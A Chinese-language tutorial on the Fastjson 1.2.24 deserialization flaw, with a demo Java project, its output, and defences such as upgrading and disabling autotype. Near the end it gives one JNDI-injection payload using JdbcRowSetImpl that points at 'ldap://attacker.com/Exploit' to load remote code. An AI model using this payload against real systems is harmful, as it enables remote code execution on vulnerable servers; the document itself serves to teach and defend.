Fastjson 1.2.24 反序列化漏洞分析及测试环境构建
漏洞背景
Fastjson 是阿里巴巴开源的一个高性能 Java JSON 库,广泛用于 Java 对象的序列化和反序列化。在 1.2.24 及之前的版本中,存在一个严重的安全漏洞,攻击者可以通过构造恶意的 JSON 字符串实现远程代码执行(RCE)。
漏洞原理
Fastjson 在反序列化时,支持通过 @type
属性指定目标类。当解析 JSON 时,Fastjson 会自动调用目标类的 setter 方法及特定条件的 getter 方法。攻击者可以利用这一特性,通过精心构造的 JSON 字符串调用某些危险类的危险方法,最终实现任意代码执行。
测试环境搭建
- 项目结构
fastjson-vuln-demo/
├── pom.xml
└── src/├── main/│ ├── java/│ │ └── org/│ │ └── rocky/│ │ ├── App.java │ │ └── model/│ │ └── User.java│ └── resources/└── test/└── java/
- 关键代码
User.java
package org.rocky.model;public class User {private String name;private int age;private String email;public User() {System.out.println("User无参构造器被调用");}public User(String name, int age, String email) {this.name = name;this.age = age;this.email = email;System.out.println("User全参构造器被调用");}// Getter和Setter方法 public String getName() {System.out.println("getName()被调用");return name;}public void setName(String name) {System.out.println("setName()被调用,参数: " + name);this.name = name;}public int getAge() {System.out.println("getAge()被调用");return age;}public void setAge(int age) {System.out.println("setAge()被调用,参数: " + age);this.age = age;}public String getEmail() {System.out.println("getEmail()被调用");return email;}public void setEmail(String email) {System.out.println("setEmail()被调用,参数: " + email);this.email = email;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +", email='" + email + '\'' +'}';}
}
App.java
package org.rocky;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.rocky.model.User;public class App {public static void main(String[] args) {// 正常序列化与反序列化 normalSerializationDemo();// 使用@type的反序列化 deserializationWithTypeDemo();}private static void normalSerializationDemo() {System.out.println("\n=== 正常序列化与反序列化 ===");// 创建用户对象 User user = new User("张三", 25, "zhangsan@example.com");// 序列化为JSON字符串String jsonString = JSON.toJSONString(user);System.out.println("序列化结果: " + jsonString);// 反序列化为User对象User parsedUser = JSON.parseObject(jsonString, User.class);System.out.println("反序列化结果: " + parsedUser);}private static void deserializationWithTypeDemo() {System.out.println("\n=== 使用@type的反序列化 ===");// 使用@type指定目标类 String jsonWithType = "{\"@type\":\"org.rocky.model.User\",\"name\":\"李四\",\"age\":30,\"email\":\"lisi@example.com\"}";System.out.println("反序列化JSON: " + jsonWithType);Object obj = JSON.parseObject(jsonWithType);System.out.println("反序列化结果: " + obj);}
}
- pom.xml 依赖配置
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.rocky</groupId><artifactId>fastjson</artifactId><version>1.0-SNAPSHOT</version><packaging>jar</packaging><name>fastjson</name><url>http://maven.apache.org</url><properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><maven.compiler.source>1.8</maven.compiler.source><maven.compiler.target>1.8</maven.compiler.target></properties><dependencies><!-- Fastjson 1.2.24 --><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><!-- 升级后的 JUnit --><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency></dependencies><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><version>3.8.1</version></plugin></plugins><resources><resource><directory>src/main/resources</directory><includes><include>**/*.properties</include><include>**/*.xml</include><include>**/*.json</include></includes><excludes><exclude>**/.keep</exclude></excludes><filtering>false</filtering></resource></resources></build>
</project>
漏洞验证
- 正常反序列化流程
运行 normalSerializationDemo()
方法,观察输出:
=== 正常序列化与反序列化 ===
User全参构造器被调用
序列化结果: {"age":25,"email":"zhangsan@example.com","name":"张三"}
User无参构造器被调用
setAge()被调用,参数: 25
setEmail()被调用,参数: zhangsan@example.com
setName()被调用,参数: 张三
反序列化结果: User{name='张三', age=25, email='zhangsan@example.com'}
- 使用@type的反序列化
运行 deserializationWithTypeDemo()
方法,观察输出:
=== 使用@type的反序列化 ===
反序列化JSON: {"@type":"org.rocky.model.User","name":"李四","age":30,"email":"lisi@example.com"}
User无参构造器被调用
setName()被调用,参数: 李四
setAge()被调用,参数: 30
setEmail()被调用,参数: lisi@example.com
反序列化结果: {"age":30,"email":"lisi@example.com","name":"李四"}
漏洞利用原理
攻击者可以构造特殊的 JSON 字符串,利用 Fastjson 的自动类型转换和 Java 反射机制,调用危险类的方法。例如:
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/Exploit\",\"autoCommit\":true}";
JSON.parse(maliciousJson);
这段代码会尝试通过 JNDI 注入加载远程恶意类,导致 RCE。
防御措施
- 升级 Fastjson:升级到最新安全版本(1.2.83 或更高)
- 关闭 autotype:设置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
- 使用安全模式:
JSON.parse(text, Feature.SafeMode)
- 白名单控制:配置
ParserConfig.getGlobalInstance().addAccept("org.rocky.model.")
总结
Fastjson 1.2.24 的反序列化漏洞源于其过于灵活的自动类型转换机制。通过分析测试环境中的代码执行流程,我们可以清楚地看到 Fastjson 如何通过反射调用目标类的方法。在实际开发中,务必使用最新版本的 Fastjson 并采取适当的安全配置。
建议进一步研究:
- 完整的漏洞利用链构造
- JNDI 注入原理
- Fastjson 的安全配置最佳实践